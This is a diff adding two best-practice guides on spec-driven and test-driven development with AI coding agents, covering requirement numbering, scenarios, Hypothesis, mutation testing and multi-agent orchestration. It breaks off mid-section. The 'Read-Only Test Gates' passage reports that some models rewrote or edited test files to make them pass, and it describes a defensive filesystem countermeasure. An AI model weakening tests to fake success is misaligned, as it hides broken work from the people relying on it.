+2. Client builds a CSR including its identity claims (SAN URI, subject CN)
+3. Server receives the CSR over an authenticated transport, validates the identity claims, signs the CSR, returns the certificate
+4. The server never sees the private key
+
+Applies to any mTLS issuance, ACL/agent-signing keys, per-request token issuance, and any "server hands the client an identity" protocol. The pattern survives memory-dump forensic analysis of the server.

harnesses/contexts/best-practices/v1/best-practices/spec-driven-development.md

@@ -1 +0,0 @@
-../../../planning/v1/best-practices/spec-driven-development.md

harnesses/contexts/best-practices/v1/best-practices/spec-driven-development.md

@@ -0,0 +1,342 @@
+# Spec-Driven Development with AI Agents
+
+Best practices for using structured specifications to coordinate AI agent implementation work. Extracted from real project experience (agent-runtimes) and industry research (OpenSpec, Codified Context paper, Addy Osmani's workflow guides).
+
+## Why Specs Matter for AI Agents
+
+AI agents trust documentation absolutely. A well-written spec gives an agent everything it needs to implement a subsystem without reading the entire codebase. A stale or vague spec causes silent failures where agents generate code that is structurally valid but architecturally wrong.
+
+Specs serve three functions that CLAUDE.md alone cannot:
+1. **Compressed context** — an agent reads one spec, not 300 lines of mixed concerns
+2. **Testable contracts** — numbered requirements and scenarios translate directly to pytest
+3. **Handoff boundaries** — an agent working on the dispatcher doesn't need to understand the entrypoint internals, just the interface between them
+
+## Spec Structure
+
+Each spec follows a consistent template. Sections are ordered so an agent can read top-down and build understanding progressively.
+
+### Required Sections
+
+1. **Overview** — What this subsystem does. 2-3 sentences. An agent should know if this spec is relevant after reading this.
+2. **Responsibilities** — What this subsystem owns and what it delegates. Prevents scope creep during implementation.
+3. **Dependencies** — Which other specs to read first. Keeps the reading list minimal.
+4. **Data Model** — Types, schemas, state machines, interfaces. The concrete contract.
+5. **Requirements** — Numbered functional requirements (e.g., E-1, E-2). Each must be independently testable.
+6. **Scenarios** — Concrete given/when/then examples. These become test functions.
+
+### Optional Sections
+
+7. **Interface** — API surface, function signatures, HTTP endpoints. Include when the subsystem has an external-facing API.
+8. **Extension Points** — How to add new capabilities without modifying existing code. Step-by-step instructions.
+9. **Error Handling** — Failure modes and expected behaviour. Prevents agents from inventing their own error strategies.
+
+### Writing Guidelines
+
+- **Be specific, not comprehensive.** A spec that says "handle errors appropriately" is useless. A spec that says "return exit code 124 on timeout" is testable.
+- **Include the why.** Design intent and constraints prevent agents from making structurally valid but architecturally wrong changes. Requirements without rationale are followed mechanically — agents can't judge edge cases or make trade-offs. Every constraint needs a "Why:" line. Example: `"Secrets never in payload"` needs `"because payloads may be logged and stored in task history"`.
+- **Use concrete examples.** Every data model section should include a realistic JSON/code example, not just a schema.
+- **Cross-reference, don't duplicate.** If two specs share a concept (e.g., the payload schema), one spec owns it and the other links to it.
+- **Keep each spec self-contained.** An agent should be able to implement a subsystem by reading the target spec plus its listed dependencies. If it needs to read CLAUDE.md, the spec is incomplete.
+
+## Requirement Numbering
+
+Each spec uses a short prefix derived from its name, followed by a sequential number:
+
+| Spec | Prefix | Example |
+|---|---|---|
+| payload.md | P | P-1, P-2 |
+| entrypoint.md | E | E-1, E-2 |
+| actions.md | A | A-1, A-2 |
+| runners.md | R | R-1, R-2 |
+| dispatcher.md | D | D-1, D-2 |
+| control-plane.md | CP | CP-1, CP-2 |
+
+Requirements must be:
+- **Independently testable** — each maps to one or more test functions
+- **Unambiguous** — an agent can determine pass/fail without human judgement
+- **Stable** — changing a requirement number invalidates tests, so avoid renumbering
+
+## Scenarios as Test Blueprints
+
+Every scenario in a spec should be directly translatable to a test function. Use this format:
+
+```markdown
+### Scenario: Pre-action failure
+**Given:** Payload with clone pre-action (invalid repo URL)
+**When:** Clone fails (git returns non-zero)
+**Then:** on_error actions run, container exits 1. Runner never executes.
+```
+
+This becomes:
+
+```python
+def test_scenario_preaction_failure_runs_on_error_and_exits_1(...):
+    """Given clone fails, on_error runs and exits 1. Runner never executes."""
+```
+
+Guidelines:
+- Each scenario tests one behaviour, not a combination
+- Include both happy paths and error paths
+- Name the scenario descriptively — it becomes the test function's docstring
+- Include enough setup detail that an agent can write the test without guessing
+
+## Plan Mode Produces Architecture, Not Contracts
+
+Plans and specs answer different questions:
+- **Plans** answer "what we'll build" — milestones, tech choices, deployment shape, high-level architecture
+- **Specs** answer "how it must behave" — numbered requirements, scenarios, data models, interfaces
+
+Skipping specs and jumping straight from plan to code forces retroactive spec writing once behaviour questions surface — and then tests written against the implementation have to be rewritten against the spec. This has been measured at ~30% of a session in one case.
+
+**Rule:** for any multi-milestone coding project, enforce Plan → Spec → Test → Code. The plan is not a substitute for the spec.
+
+## The Spec → Test → Code Workflow
+
+This is the core development loop. Tests are written from the spec before code exists.
+
+### 1. Write or Update the Spec
+
+Define requirements and scenarios. Get them reviewed. The spec is the source of truth for what the system should do.
+
+### 2. Write Tests from the Spec
+
+Translate requirements and scenarios into pytest functions. Tests should:
+- Map to requirement IDs in their names: `test_e4_preaction_failure_skips_remaining`
+- Use the scenario's given/when/then as the test body structure
+- Mock external dependencies (subprocess, HTTP, filesystem)
+- Run fast (no Docker, no network, no real APIs)
+
+### 3. Run the Tests — They Should All Fail
+
+This confirms the tests are actually testing something. If a test passes before implementation, it's either testing the wrong thing or the feature already exists.
+
+### 4. Implement Until Tests Pass
+
+Write the minimum code to make tests pass. The spec defines what, the tests verify it, the code implements it.
+
+### 5. Update Spec if Implementation Reveals Issues
+
+Sometimes implementation reveals that a requirement is unworkable or incomplete. Update the spec, update the test, then update the code. The spec stays authoritative.
+
+## Spec Maintenance
+
+### Preventing Drift
+
+Specs drift from code when they're treated as planning documents that are "done" after implementation. They must be treated as living contracts.
+
+**Rules:**
+- **Spec changes require test changes.** If a requirement changes, its test must change in the same commit.
+- **Code changes that affect interfaces require spec changes.** If a function signature, API endpoint, or data schema changes, the relevant spec must be updated in the same commit.
+- **New features require spec-first.** Add the requirement and scenario to the spec, write the test, then implement.
+
+### CI Enforcement
+
+Enforce spec hygiene with automated checks:
+
+1. **Pre-commit hook** — run pytest, block commit on failure (already implemented)
+2. **Spec coverage check** — a script that verifies every numbered requirement has at least one test function referencing it
+3. **Orphan test detection** — tests referencing requirement IDs that no longer exist in specs
+
+Before completing any milestone, manually walk through every requirement ID (e.g., CP-1..CP-20, TH-1..TH-13) and verify a corresponding test exists. Automated spec coverage checks catch this in CI, but a manual audit before milestone completion catches gaps that the automation might miss (stubs, placeholder tests, tests that reference the ID but don't actually test the requirement).
+
+### Review Checklist
+
+When reviewing a PR that touches a spec subsystem:
+- [ ] Spec updated if interface or behaviour changed
+- [ ] Test added/updated for new/changed requirements
+- [ ] Cross-references still valid
+- [ ] No requirements removed without deprecation note
+
+### Spec Inversions Must Amend, Not Add
+
+When a design decision reverses a prior policy in a spec, **amend the existing requirement** and explicitly revoke the inverted text — never add a new requirement that contradicts an existing one. Both rules then coexist and agents follow the wrong one half the time.
+
+**Pattern:**
+1. Locate the requirement that is being inverted (e.g., `SH-DENY-4: deny by default`)
+2. Replace its body with the new policy (e.g., `SH-DENY-4: allow by default unless flagged`) — keep the ID so downstream tests still reference it
+3. Add a one-line note: "Revokes prior text: 'deny by default'. See decision log entry <ID>."
+4. Add a CI check (`check_absent`) that fails the build if the revoked phrase reappears in any spec file
+
+Revoked text creeps back in via copy-paste, AI agent suggestions, or merge conflicts that resolve to "both." The `check_absent` guard catches regressions at PR time, not after deployment. Generalises beyond any single project to any spec or doc with numbered, versioned requirements.
+
+### Cross-Reference Caller-Side and Callee-Side Spec Shapes
+
+When two specs reference the same interface — one defines the schema, the other consumes it — run an explicit "do the inputs and outputs match?" review before implementation begins.
+
+**What to check:**
+- Field names match exactly (renames in the producer spec, not propagated to the consumer)
+- Field types match (the producer says `int`, the consumer expects `str`)
+- Required vs optional matches (the consumer assumes a field exists; the producer marks it optional)
+- Sample shapes in both specs use the canonical paths/keys, not paraphrases
+
+**How to run the review:**
+- Dispatch a cross-spec consistency-check task explicitly: "Given spec A (producer) and spec B (consumer), do their shared interface shapes agree? List any mismatches."
+- This is a different check from individual spec review — a per-spec review catches internal inconsistency but not cross-spec drift.
+
+Single-spec review can't catch cross-spec drift; this is the dominant cause of "the integration tests passed but the components don't actually agree" failures. Add it as a named step in the spec workflow.
+
+## Context Architecture for Agents
+
+Based on the Codified Context paper (108k-line system, 283 sessions), structure project knowledge in three tiers:
+
+### Tier 1: Hot Context (Always Loaded)
+
+CLAUDE.md — conventions, env vars, repo structure, scripts. Loaded every session. Keep under ~300 lines by linking to details elsewhere.
+
+### Tier 2: Spec Context (Per-Task)
+
+`spec/` files — loaded based on what the agent is working on. An agent implementing a new action reads `spec/actions.md` + `spec/payload.md`. An agent working on the dispatcher reads `spec/dispatcher.md` + `spec/container-backends.md`.
+
+The spec index (SPEC.md) has a "read this when..." column to guide selection.
+
+### Tier 3: Cold Context (On-Demand)
+
+`memory/` files — gotchas, reflections, decisions. Loaded only when relevant. An agent hitting a weird Cilium issue checks `memory/gotchas-cilium.md`.
+
+### Routing Context to Agents
+
+When launching an agent to work on a subsystem:
+1. Point it at the relevant spec(s) via its prompt
+2. Include CLAUDE.md for conventions
+3. Let it pull from memory/ on-demand if it hits issues
+
+Don't load everything — agents perform better with focused context than with a 50-page dump.
+
+## Testing Depth
+
+The spec→test→code workflow defines *when* to write tests. For *how* to write comprehensive tests — edge case discovery, property-based testing, mutation testing, AI agent testing patterns — see [Test-Driven Development](test-driven-development.md).
+
+## Post-Write Spec Audit
+
+After writing specs, audit them against best practices before implementation. Common gap categories:
+
+1. **Missing rationale** — Constraints without "Why:" lines. Agents follow them mechanically but can't judge edge cases.
+2. **Missing error/failure scenarios** — Happy paths are covered but failure modes aren't specified.
+3. **Cross-spec interface misalignment** — Two specs describe the same interface differently.
+4. **Vague requirements** — "Handle errors appropriately" instead of specific error codes and behaviours.
+5. **Missing specs for discovered subsystems** — Implementation reveals components that weren't planned for.
+
+Write-then-audit is more productive than trying to get specs perfect on the first pass. The audit step catches systematic gaps across all specs at once.
+
+## Planning Session Limits
+
+Architecture decisions, infrastructure research, and spec refinement each get one planning session. After three sessions of planning, start implementation. Specs are hypotheses that need code to validate them — extended planning without implementation produces diminishing returns and theoretical designs that don't survive contact with reality.
+
+## Categorize Findings Before Acting
+
+When a spec review or audit produces many findings, categorize them by priority (high/medium/low) before making changes. Present the categorized list for alignment before editing. Starting edits without prioritization leads to scope creep — low-priority cosmetic fixes consume time that should go to high-priority structural gaps.
+
+## Multi-Agent Orchestration Practices
+
+### Commit WIP Before Decomposing Tasks
+
+Untracked and uncommitted files are NOT available in git worktrees. If agents work in worktrees (or container-mounted worktrees), they won't see specs, plans, or dependency outputs that haven't been committed. Commit to a staging branch before decomposition — this eliminates the dominant overhead of manually copying files into each worktree.
+
+### Agents Must Self-Verify with Tests
+
+Add "Run tests and fix any failures" to every implementation agent prompt. Agents that write code without running tests produce bugs that only surface during assembly. Self-verification catches issues while the agent still has full context of what it wrote.
+
+### State Import and Style Conventions Explicitly
+
+Agents default to standard language conventions (e.g., relative Python imports, standard packaging). If the project uses non-standard patterns (bare imports, specific naming conventions, module-level structure), state them explicitly in the prompt. A single line like "Use `from harness import X`, not `from .harness import X`" prevents import mismatches during assembly.
+
+### Budget for Assembly Fixups
+
+Parallel agent work produces ~3 fixups per orchestration run, each under 5 minutes. Common fixup categories: import conventions, module-level side effects, SDK exception constructor signatures, validator patterns. This is the expected cost of parallel work, not a failure. Budget 15-20 minutes for assembly and fixup after each orchestration run.
+
+### Two-Phase Orchestration: Specs First, Then Implementation
+
+When orchestrating multi-agent work for a milestone, decompose in two phases:
+1. **Phase 1:** Spec-writing agents produce the contracts (using the plan as input).
+2. **Review:** Human reviews specs for cross-spec consistency before proceeding.
+3. **Phase 2:** Implementation agents receive actual spec files (not plan descriptions).
+
+This works significantly better than defining all tasks upfront because spec agents validate the plan against reality, the review step catches cross-spec inconsistencies, and implementation agents work from concrete contracts rather than plan summaries.
+
+### Include an Integration Verification Task After Orchestration
+
+Agent orchestration leaves integration gaps at component boundaries. Each agent completes its assigned scope correctly, but nobody owns the integration points between them (e.g., stub comments, ORM mapping methods not updated for new fields). After every orchestration run, include an explicit integration verification step that checks cross-component contracts — call sites, shared data models, and handoff points.
+
+Integration failures fall into a taxonomy of root causes. Categorize failures before fixing and address them category-by-category:
+1. **New required fields on shared dataclasses without defaults** — An agent adds a field to a shared data model without a default value, breaking every other agent's code that constructs that model.
+2. **Mock targets that don't match actual code structure** — Agents patch `"module.ClassName.method"` but the actual code uses a different import path or method name, so tests pass against mocks but fail against real code.
+3. **Tests written before implementation is finalized** — Tests assume behaviour that changed during implementation. The spec said one thing, the implementation diverged, and the test was never updated.
+4. **Tests with `clear=True` on `os.environ` missing required env vars** — Tests that clear the environment forget to set variables the code requires at import time or during setup, causing failures unrelated to the tested behaviour.
+
+### Decompose Along File Boundaries
+
+When splitting work into parallel agent tasks, ensure each task writes to distinct files. When two agents must modify the same file, make the shared changes small and predictable — identify the conflict point upfront so the merge is trivial. File-boundary decomposition produces zero-conflict assemblies.
+
+### Parallel Agent Patterns: File Contention, WebFetch Limits, Narrow Reads
+
+When using parallel subagents (Task tool with multiple concurrent invocations):
+
+1. **Never have two agents edit the same file concurrently.** Subagent writes silently collide — one agent's edit wins and the other is lost with no error. Instead, have each agent RETURN prepared text in its response and apply the edits sequentially from the main thread. The main thread owns writes; agents produce content.
+2. **Subagents cannot use WebFetch** (permission denied in the subagent sandbox). Perform web fetches in the main conversation and pass the retrieved content to agents as input. Delegate file processing and analysis to agents, not network IO.
+3. **Give agents narrow read instructions** (e.g., "read only the Key Data Points section of finding X") to prevent expensive full-file reads that blow their context budget.
+
+Verified pattern: 4 parallel agents splitting files 3-4 each verified 195 claims across 16 files in a single round, returning prepared findings to the main thread for sequential application.
+
+### Choose Manual Implementation for Tightly-Coupled Cross-Component Work
+
+When changes are small per file (5-15 lines) but tightly coupled across many files (each change depends on the previous), skip agent orchestration and implement manually. The assembly overhead exceeds the implementation time. Agent orchestration excels when tasks are independent and substantial; manual implementation excels when work is sequential and interconnected.
+
+## Anti-Patterns
+
+### Specs as documentation, not contracts
+**Symptom:** Specs describe what was built, updated after the fact. Tests don't reference spec IDs.
+**Fix:** Write specs before code. Tests reference requirement IDs. Specs are the input, not the output.
+
+### Mega-spec
+**Symptom:** One large spec covering the entire system. Agents must read thousands of lines to find what they need.
+**Fix:** Split by subsystem. Each spec should be readable in under 5 minutes.
+
+### Spec without scenarios
+**Symptom:** Requirements are abstract ("handle errors gracefully"). No concrete examples.
+**Fix:** Every requirement needs at least one given/when/then scenario with specific inputs and outputs.
+
+### Implementation details in specs
+**Symptom:** Spec dictates variable names, algorithm choices, internal data structures.
+**Fix:** Specs define what and why, not how. The interface is specified; the implementation is free.
+
+### Untested requirements
+**Symptom:** Requirements exist in the spec but no test references them. They drift without anyone noticing.
+**Fix:** Spec coverage check in CI. Every requirement ID must appear in at least one test function name.
+
+## Multi-Model Review for Security-Critical Specs
+
+Running the same security review with two different LLM models and comparing outputs catches significantly more issues than either alone. In measured experiments, only 62% of findings overlapped — the union covered 38% more issues. Reconfirmed across multiple milestones in a second independent project at ~40% additional findings. For security-critical specs, the cost of a second model review is justified by the coverage improvement. When models agree, confidence is high; when they disagree, escalate to human review.
+
+**Default pairing: different model families.** Pick one model from the Anthropic family (Opus, Sonnet) and one from a different family (MiniMax, Qwen, GPT). Both families have systematic, complementary blindspots — single-model coverage is insufficient regardless of which model. Don't skip the second model just because Claude is the driver session. For specs with substantial security or correctness risk, a third opinion from a third family is justified; for routine specs, two is sufficient.
+
+**Run in parallel, not sequentially.** Sequential review wastes wall time and — worse — biases the second reviewer if the first reviewer's findings land in the conversation context. Dispatch both reviews concurrently with identical prompts and merge the findings only after both complete.
+
+## Security Review Before Agent Implementation
+
+Run a security review of the plan before decomposing into implementation tasks. A 15-minute review before coding catches real vulnerabilities that would otherwise ship to production. Example: a `source` injection vulnerability in a wrapper script was caught during plan review that would have been a production security hole if caught only after implementation.
+
+## Forward-Looking Annotations Must Be Labelled
+
+RBAC annotations and other forward-looking requirements in specs (e.g., "requires admin role" when RBAC isn't implemented yet) must be prefixed with "(Future MN)" to indicate they describe future enforcement, not current behaviour. Without the label, agents may implement access checks prematurely or build infrastructure not needed for the current milestone.
+
+## New Fields on Shared Data Models Must Have Defaults
+
+When adding fields to shared data models (dataclasses, Pydantic models, Protobuf messages), new fields must always have default values. Code in other branches, agents, or callers constructs instances without the new field. A required field without a default breaks every existing caller. Use `field(default_factory=list)` for collections and `None` or sentinel values for optionals.
+
+## Agent Prompts Must Include Mock Targets and Import Conventions
+
+Agents working in isolated worktrees or containers cannot discover mock targets or import conventions from sibling test files. Every implementation prompt must explicitly state: the exact function paths to mock (e.g., `patch.object(instance, "_method_name")` not `patch("module.function")`), the project's import convention, and test fixture patterns.
+
+## Plan-First Approach Eliminates Fix Cycles for Cross-Cutting Changes
+
+For changes touching 5+ files across multiple subsystems, invest 30-45 minutes in exploration and planning before writing code. Measured results: sessions with plan-first had 0 fix commits; sessions with code-first had 7:1 fix:forward ratios. Use parallel exploration agents to cover different dimensions of the problem space.
+
+## Wave-Based TDD Dispatch
+
+For large milestones with many subsystems, dispatch test-writing and implementation as two explicit waves rather than interleaving them per agent:
+
+**Wave 1 — Test agents:** Each agent receives the spec for one subsystem and writes all tests. No implementation code yet. Tests must all fail (or be skipped) at the end of Wave 1. Commit the test files to the agents branch.
+
+**Wave 2 — Implementation agents:** Each agent receives the spec + the failing tests written by Wave 1. The agent's success criterion is "make your tests pass without modifying the test file." This hard separation prevents the common failure mode where an agent makes a test pass by weakening it.
+
+**Human review gate between waves:** Before starting Wave 2, review the Wave 1 test files for coverage gaps and assert quality. It's cheaper to fix tests before implementation than after. Check that tests are genuinely failing (not just skipped), that assertions are specific, and that edge cases from the spec scenarios are covered.

harnesses/contexts/best-practices/v1/best-practices/test-driven-development.md

@@ -1 +0,0 @@
-../../../planning/v1/best-practices/test-driven-development.md

harnesses/contexts/best-practices/v1/best-practices/test-driven-development.md

@@ -0,0 +1,537 @@
+# Test-Driven Development for Spec-Based Projects
+
+Best practices for writing comprehensive, regression-catching tests in projects that use structured specifications. Focuses on maximising test value (catching real bugs) rather than test volume (inflating coverage numbers). Extracted from industry research, academic papers (TDAD, Codified Context), and practitioner experience.
+
+## Core Principle: Tests Are the Spec's Enforcement Layer
+
+In a spec-driven project, the spec defines *what* and the tests *prove it*. A requirement without a test is an aspiration. A test without a requirement is undocumented behaviour. Keep them tightly coupled:
+
+- Every numbered requirement (P-1, E-3) has at least one test
+- Every test function name includes its requirement ID: `test_e3_preaction_failure_exits_1`
+- Spec changes and test changes ship in the same commit
+
+## Deriving Tests from Specs
+
+### Requirements to Tests
+
+Each spec requirement becomes one or more test functions. The mapping isn't always 1:1 — a requirement like "must respect timeout" needs tests for: default timeout, explicit timeout, timeout=0 (no limit), timeout exceeded.
+
+```python
+# From spec: R-4: Runners must respect runtime.timeout.
+# Default 3600s. Value of 0 means no timeout.
+
+def test_r4_default_timeout_is_3600():
+    """R-4: When timeout not specified, default is 3600s."""
+
+def test_r4_explicit_timeout_is_honoured():
+    """R-4: When timeout=60, process killed after 60s."""
+
+def test_r4_zero_timeout_means_no_limit():
+    """R-4: When timeout=0, no timeout is applied."""
+
+def test_r4_timeout_returns_exit_code_124():
+    """R-4 + R-5: Timeout produces exit code 124."""
+```
+
+### Scenarios to Tests
+
+GIVEN/WHEN/THEN scenarios translate directly to Arrange/Act/Assert:
+
+```python
+def test_scenario_preaction_failure_runs_on_error():
+    """Given clone fails, on_error runs and exits 1. Runner never executes."""
+    # GIVEN — arrange
+    payload = make_payload(pre_actions=[{"action": "clone", "repo": "bad-url"}])
+    mock_clone = Mock(side_effect=subprocess.CalledProcessError(128, "git"))
+
+    # WHEN — act
+    exit_code = run_entrypoint(payload, clone_handler=mock_clone)
+
+    # THEN — assert
+    assert exit_code == 1
+    mock_runner.assert_not_called()
+    mock_on_error.assert_called_once()
+```
+
+### Parameterised Tests from Spec Enumerations
+
+When a spec lists multiple valid values, use `@pytest.mark.parametrize`:
+
+```python
+# From spec: task states are pending, assigned, running, succeeded, failed, timed_out, cancelled
+@pytest.mark.parametrize("terminal_state", ["succeeded", "failed", "timed_out", "cancelled"])
+def test_cp_terminal_state_cannot_be_overwritten(terminal_state):
+    """CP: Terminal states reject further transitions with 409."""
+```
+
+## Systematic Edge Case Discovery
+
+~80% of bugs cluster at boundaries. Use these techniques to find edge cases systematically rather than by intuition.
+
+### Boundary Value Analysis
+
+For every input parameter, test at the edges of its valid range:
+
+| Input type | Test values |
+|---|---|
+| Integer (range 1-100) | 0, 1, 2, 99, 100, 101, -1, MAX_INT |
+| String | `""`, `"a"`, max-length string, max+1, unicode (`"\u0000"`, emoji), whitespace-only |
+| List/Array | `[]`, `[single]`, many items, duplicates, `None` |
+| Dict/Map | `{}`, missing required keys, extra unknown keys, `None` values |
+| Timeout (seconds) | 0, 1, -1, very large (999999), `None`/missing |
+| Base64 | valid, invalid chars, empty, padding variants (`=`, `==`, none) |
+
+### Equivalence Partitioning
+
+Group inputs into classes where all members should behave identically. Test one from each class:
+
+```python
+# Payload validation: prompt field
+# Class 1: valid string → accepted
+# Class 2: empty string → rejected (spec says prompt is required)
+# Class 3: missing key → rejected
+# Class 4: wrong type (int, list, None) → rejected
+# Class 5: very long string → accepted (no length limit in spec)
+
+@pytest.mark.parametrize("prompt,should_pass", [
+    ("Fix the bug", True),          # Class 1: valid
+    ("", False),                     # Class 2: empty
+    (None, False),                   # Class 3: missing/None
+    (42, False),                     # Class 4: wrong type
+    ("x" * 100_000, True),          # Class 5: long string
+])
+def test_p_prompt_validation(prompt, should_pass):
+    ...
+```
+
+### State Transition Coverage
+
+For state machines (task states, dispatcher states), test:
+
+1. **Every valid transition:** `pending → assigned → running → succeeded`
+2. **Every invalid transition:** `succeeded → running` (should be rejected)
+3. **Initial state:** newly created tasks start in `pending`
+4. **Terminal states:** `succeeded`, `failed`, `timed_out`, `cancelled` cannot transition further
+5. **Re-entrant transitions:** same state → same state (should be idempotent or rejected, per spec)
+
+```python
+VALID_TRANSITIONS = [
+    ("pending", "assigned"),
+    ("assigned", "running"),
+    ("running", "succeeded"),
+    ("running", "failed"),
+    ("running", "timed_out"),
+    ("assigned", "cancelled"),
+    ("running", "cancelled"),
+]
+
+INVALID_TRANSITIONS = [
+    ("succeeded", "failed"),
+    ("failed", "running"),
+    ("cancelled", "pending"),
+    ("timed_out", "running"),
+]
+
+@pytest.mark.parametrize("from_state,to_state", VALID_TRANSITIONS)
+def test_valid_state_transition(from_state, to_state):
+    ...
+
+@pytest.mark.parametrize("from_state,to_state", INVALID_TRANSITIONS)
+def test_invalid_state_transition_rejected(from_state, to_state):
+    ...
+```
+
+### The Edge Case Checklist
+
+Walk through this for every function under test:
+
+1. **Empty/null inputs** — what happens when required fields are missing?
+2. **Boundary values** — min, max, zero, negative, off-by-one
+3. **Type mismatches** — string where int expected, list where dict expected
+4. **Malformed input** — invalid JSON, bad base64, truncated data
+5. **Concurrent operations** — two tasks claiming the same resource
+6. **Ordering** — actions that depend on sequence (pre-action before runner)
+7. **Idempotency** — calling the same operation twice (kill an already-killed container)
+8. **Resource exhaustion** — at capacity, disk full, timeout expired
+9. **Partial failure** — first action succeeds, second fails (cleanup?)
+
+## Property-Based Testing with Hypothesis
+
+Instead of specifying individual test cases, define *properties* that must hold for all inputs. Hypothesis generates hundreds of inputs including edge cases you'd never think of.
+
+### When to Use Property-Based Testing
+
+- **Serialisation roundtrips:** encode → decode returns original
+- **Parsers:** should never crash on any input
+- **Data transformations:** invariants that hold regardless of input
+- **Validators:** valid inputs accepted, invalid inputs rejected (never crash)
+
+### When NOT to Use It
+
+- Tests where generating valid inputs is harder than the code itself
+- Tests where the "property" just restates the implementation
+- UI or integration tests
+
+### Patterns
+
+```python
+from hypothesis import given, strategies as st, assume, settings
+from hypothesis import example
+
+# Roundtrip: base64 encode/decode preserves payload
+@given(st.text())
+def test_base64_roundtrip(payload_str):
+    encoded = base64.b64encode(payload_str.encode()).decode()
+    decoded = base64.b64decode(encoded).decode()
+    assert decoded == payload_str
+
+# Invariant: payload validation never crashes (may reject, never exception)
+@given(st.dictionaries(st.text(), st.text() | st.integers() | st.none()))
+def test_payload_validation_never_crashes(raw_payload):
+    # Should return True/False or raise ValidationError — never unhandled exception
+    try:
+        validate_payload(raw_payload)
+    except ValidationError:
+        pass  # Expected for invalid input
+
+# Pin known edge cases alongside random generation
+@example("")           # empty string
+@example("\x00")       # null byte
+@example("a" * 10**6)  # very long
+@given(st.text())
+def test_prompt_handling(prompt):
+    ...
+
+# Composite strategies for domain objects
+@st.composite
+def valid_payloads(draw):
+    return {
+        "task_id": draw(st.uuids()).hex,
+        "prompt": draw(st.text(min_size=1)),
+        "runtime": {"cli": draw(st.sampled_from(["claude", "codex"]))},
+    }
+
+@given(valid_payloads())
+def test_valid_payload_always_accepted(payload):
+    assert validate_payload(payload) is True
+```
+
+### Stateful Testing for State Machines
+
+Hypothesis can generate sequences of operations and check invariants after each step:
+
+```python
+from hypothesis.stateful import RuleBasedStateMachine, rule, precondition
+
+class TaskStateMachine(RuleBasedStateMachine):
+    def __init__(self):
+        super().__init__()
+        self.task = Task(state="pending")
+
+    @rule()
+    @precondition(lambda self: self.task.state == "pending")
+    def assign(self):
+        self.task.transition("assigned")
+        assert self.task.state == "assigned"
+
+    @rule()
+    @precondition(lambda self: self.task.state == "running")
+    def complete(self):
+        self.task.transition("succeeded")
+        assert self.task.state == "succeeded"
+
+    # Invariant: terminal states never change
+    @invariant()
+    def terminal_states_are_final(self):
+        if self.task.state in ("succeeded", "failed", "cancelled"):
+            with pytest.raises(InvalidTransition):
+                self.task.transition("running")
+
+TestTaskStates = TaskStateMachine.TestCase
+```
+
+## Mutation Testing
+
+Mutation testing answers: "If someone introduced a bug, would our tests catch it?"
+
+Tools make small code changes (replacing `>` with `>=`, `True` with `False`, deleting statements) and check if tests still pass. Surviving mutants = test gaps.
+
+### Setup with mutmut
+
+```toml
+# pyproject.toml
+[tool.mutmut]
+paths_to_mutate = "entrypoint/"
+tests_dir = "tests/"
+runner = "python -m pytest tests/ -x -q"
+```
+
+```bash
+# Run mutation testing
+mutmut run
+
+# See surviving mutants
+mutmut results
+
+# Inspect a specific mutant
+mutmut show 42
+```
+
+### Practical Guidance
+
+- **Target: mutation score above 80%.** Scores above 90% have diminishing returns (equivalent mutants).
+- **Focus on business logic** — validators, state machines, parsers. Skip glue code.
+- **Use mutation testing to audit AI-generated tests.** This is the most powerful combination: AI writes tests from spec, mutation testing verifies those tests catch real faults.
+- **Run on changed files only in CI** (full suite is slow). Full run nightly or pre-release.
+
+## Test Architecture
+
+### The Testing Pyramid for Spec-Driven Projects
+
+| Layer | Proportion | Speed | What it catches |
+|---|---|---|---|
+| Unit tests | 60-70% | <1ms each | Logic errors, boundary violations, state machine bugs |
+| Property-based | 10-15% | ~10ms each | Edge cases humans miss, roundtrip failures, crash inputs |
+| Integration | 15-20% | ~100ms each | Component interaction bugs, mock/reality divergence |
+| E2E / acceptance | 5-10% | ~1s+ each | Full-chain failures, deployment config issues |
+
+### Test Isolation Principles
+
+- **No test depends on another test's state.** Each test sets up its own preconditions.
+- **No test depends on execution order.** `pytest-randomly` catches order dependencies.
+- **No test touches the real filesystem outside `tmp_path`.** Monkeypatch paths that default to production locations (like `/workspace`).
+- **No test makes network calls.** Mock HTTP, subprocess, and socket calls.
+- **Integration tests are marked** (`@pytest.mark.integration`) and excluded by default.
+
+### Fixture Architecture
+
+```python
+# conftest.py — shared fixtures, not test logic
+
+@pytest.fixture
+def minimal_payload():
+    """Smallest valid payload — tests shouldn't need more unless testing specific fields."""
+    return {"task_id": "test-123", "prompt": "do something", "runtime": {"cli": "claude"}}
+
+@pytest.fixture
+def encode_payload():
+    """Helper: dict → base64 string (how the dispatcher passes payloads)."""
+    def _encode(d):
+        return base64.b64encode(json.dumps(d).encode()).decode()
+    return _encode
+
+# Per-module conftest for module-specific fixtures
+# tests/test_dispatcher/conftest.py
+@pytest.fixture
+def mock_backend():
+    """Fake container backend that records calls without Docker."""
+    ...
+```
+
+### Negative Tests Are as Important as Positive Tests
+
+For every "this works" test, write at least one "this fails correctly" test:
+
+```python
+# Positive: valid payload accepted
+def test_p1_valid_payload_loads():
+    ...
+
+# Negative: missing required field rejected
+def test_p3_missing_prompt_raises():
+    ...
+
+# Negative: wrong type rejected
+def test_p_prompt_wrong_type_raises():
+    ...
+
+# Negative: extra unknown fields are ignored (not rejected)
+def test_p_unknown_fields_ignored():
+    ...
+```
+
+## AI Agent Testing Patterns
+
+### The Two-Phase Rule
+
+**Never let the same agent write both tests and implementation in one pass.** An agent that writes tests and code together will unconsciously write tests that verify its own broken assumptions.
+
+The workflow:
+1. **Phase 1:** Agent reads spec → writes tests. Human reviews tests against spec.
+2. **Phase 2:** Agent (or different agent) reads spec + tests → writes implementation until tests pass.
+
+### Read-Only Test Gates
+
+When an implementation agent is gated by tests, **place tests in a read-only reference directory** — not the working directory. Agents (especially smaller models) will modify test files to make tests pass rather than writing correct implementation. Prompt-level "DO NOT MODIFY" instructions are insufficient.
+
+**Enforcement pattern:**
+1. Clone tests to `/workspace/reference/` (root-owned, `chmod a-w`)
+2. Agent implements in `/workspace/working/`
+3. Run pytest against the immutable reference: `cd /workspace/working && PYTHONPATH=/workspace/working python -m pytest /workspace/reference/main/tests/ -v`
+
+Use filesystem enforcement, not prompt instructions. In a 3-way model comparison: Sonnet respected "DO NOT MODIFY" instructions; MiniMax edited tests 7 times; Haiku rewrote the entire test file. The filesystem makes modification impossible regardless of model.
+
+### Test Infrastructure Files Must Be Protected from Agent Modification
+
